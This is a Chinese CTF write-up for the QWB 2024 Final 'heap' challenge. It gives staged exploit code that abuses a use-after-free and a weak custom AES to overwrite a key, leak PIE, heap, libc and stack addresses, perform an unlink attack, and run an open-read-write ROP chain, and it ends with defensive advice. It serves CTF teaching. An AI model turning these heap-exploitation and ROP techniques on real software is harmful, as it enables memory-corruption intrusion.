[强网杯2024 Final] PWN1-heap 详解 (AES+2.31 unlink)
字数 1543 2025-08-22 18:37:15
《强网杯2024 Final PWN1-heap 漏洞利用详解》
程序概述
这是一个结合了AES加密和堆漏洞利用的CTF题目,主要考察对unlink攻击的理解和利用。程序保护机制全开(Full RELRO, NX, PIE, Stack Canary),使用libc 2.31版本。
关键安全机制
-
AES加密机制:
- 使用自定义实现的AES加密堆块内容
- 密钥存储在堆中,值来自urandom,无法预测
- 加密实现存在缺陷:输入长度小于16时直接明文存储
-
沙箱限制:
- 禁用了execve,无法直接执行shellcode
- 必须使用setcontext或ROP链,最终采用ORW(open-read-write)方式获取flag
-
堆分配限制:
- 使用safe_malloc函数,限制分配大小在0x1000以内
- 常规tcache攻击难以实施
程序漏洞分析
-
UAF漏洞:
- delete函数free后未置空指针
- 允许对已释放块进行编辑和展示
-
AES实现缺陷:
- 不足16字节的输入不进行填充直接明文存储
- 加密/解密长度由BookSize控制,可能与实际数据长度不一致
-
信息泄露漏洞:
- show函数使用puts输出栈缓冲区内容
- decrypt函数接收栈地址参数,可能泄露敏感信息
-
逻辑缺陷:
- add函数不检查序号是否已被占用,直接覆盖
漏洞利用步骤
阶段1:泄露PIE基地址
- 创建两个块(0和10),内容包含特殊标记
- 释放并重新分配块,使一个块拥有两个索引(1和10)
- 通过show函数泄露栈中的PIE地址
add(0, "a"*0xf + "~")
add(10, b"a"*16)
dele(10)
add(1)
show(0)
ru('~')
pie = uu64(rl()[:-1]) - 0x55ff2faadbf0 + 0x55ff2faac000
阶段2:篡改AES密钥
- 释放两个相邻块(0和1),形成tcache链:chunk1 → chunk0
- 修改chunk1的fd指针指向key所在地址
- 重新分配chunk1和key块,覆盖key值
dele(0)
dele(1)
edit(1, "\xa0")
add(0, "a")
add(1, "a"*8) # 现在我们知道key了
阶段3:泄露堆基地址
- 利用拥有两个索引的块(1和10)
- 通过show(10)获取加密内容,用已知key解密得到堆地址
show(10)
message = rc(16)
key = b'a'*8 + b"\x00"*8
plaintext = encrypt_aes(message, key)
heap_base = uu64(plaintext[:8]) - 0x261
阶段4:泄露libc基地址
- 分配大块(0x400)进入unsorted bin
- 修改chunk头部,使其包含libc的main_arena指针
- 展示并解密获取libc地址
add(0)
add(3)
for i in range(4*5): add(15) # 分配多个大块
dele(10)
dele(0)
edit(0, p64(heap_base + 0x378))
add(0)
add(4, p64(0x501))
dele(3)
show(3)
message = rc(16)
plaintext = encrypt_aes(message, key)
libc_base = uu64(plaintext[:8]) - 0x7fdea91e6be0 + 0x7fdea8ffa000
阶段5:构造fake chunk并unlink
- 在chunk2中构造fake chunk,设置正确的fd/bk指针
- 修改相邻chunk的pre_size和size标志位
- 触发unlink使chunk2指针指向自身减0x20的位置
add(0)
add(1)
target = pie + 0x4080 + 0x10
fd = target - 0x18
bk = target - 0x10
fake_heap = p64(0) + p64(0x31) + p64(fd) + p64(bk)
add(2, decrypt_aes(fake_heap, key))
add(3)
for i in range(4*5-1): add(15)
dele(1)
dele(0)
edit(0, p64(heap_base + 0x430))
add(0)
add(1, decrypt_aes(p64(0x30) + p64(0x500), key))
dele(3) # 触发unlink
阶段6:泄露栈地址
- 利用被篡改的指针写入environ地址
- 通过show获取栈地址
environ = libc_base + libc.sym["environ"]
edit(2, decrypt_aes(p64(0) + p64(target), key))
edit(0, decrypt_aes(p64(environ) + p64(0), key))
show(2)
message = rc(16)
plaintext = encrypt_aes(message, key)
a_stack = uu64(plaintext[:8])
阶段7:ROP链攻击
- 写入栈地址,准备ROP链
- 使用gets函数进行二次溢出
- 构造ORW链读取flag
edit(0, decrypt_aes(p64(a_stack - 0x130) + p64(0), key))
pop_rdi = 0x23b6a + libc_base
pop_rsi = 0x2601f + libc_base
pop_rdx_r12 = 0x119431 + libc_base
gets_addr = libc_base + libc.sym["gets"]
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
puts_addr = libc_base + libc.sym["puts"]
# 第一次写入:调用gets进行二次输入
edit(2, decrypt_aes(p64(pop_rdi) + p64(a_stack - 0x130 + 0x18) + p64(gets_addr) + p64(0), key))
# 第二次写入完整的ORW链
payload = p64(pop_rdi) + p64(a_stack - 0x130 + 0x98) + p64(pop_rsi) + p64(4)
payload += p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(a_stack) + p64(pop_rdx_r12) + p64(0x30) + p64(0)
payload += p64(read_addr)
payload += p64(pop_rdi) + p64(a_stack)
payload += p64(puts_addr)
payload += b"flag\x00"
sl(payload)
关键知识点
-
unlink攻击原理:
- 需要满足:*target == &fake_chunk
- fd = target - 0x18
- bk = target - 0x10
- 结果会使target = target - 0x20
-
AES ECB模式特性:
- 相同明文产生相同密文
- 不需要IV(初始化向量)
- 分组加密,每组16字节
-
堆布局技巧:
- 利用UAF修改tcache的fd指针
- 通过堆重叠获取敏感信息
- 利用大块进入unsorted bin泄露libc地址
-
ROP链构造:
- 在execve被禁用时的替代方案
- 需要找到合适的gadget控制rdi, rsi, rdx等寄存器
- 通过多次写入绕过空间限制
防御建议
- 正确实现AES加密,对所有输入进行填充
- free后立即置空指针
- 添加堆块索引检查机制
- 使用更安全的函数替代puts
- 加强堆分配大小的校验
这个题目综合考察了堆漏洞利用的多个方面,包括信息泄露、UAF、unlink攻击和ROP构造,是一个较为全面的堆利用学习案例。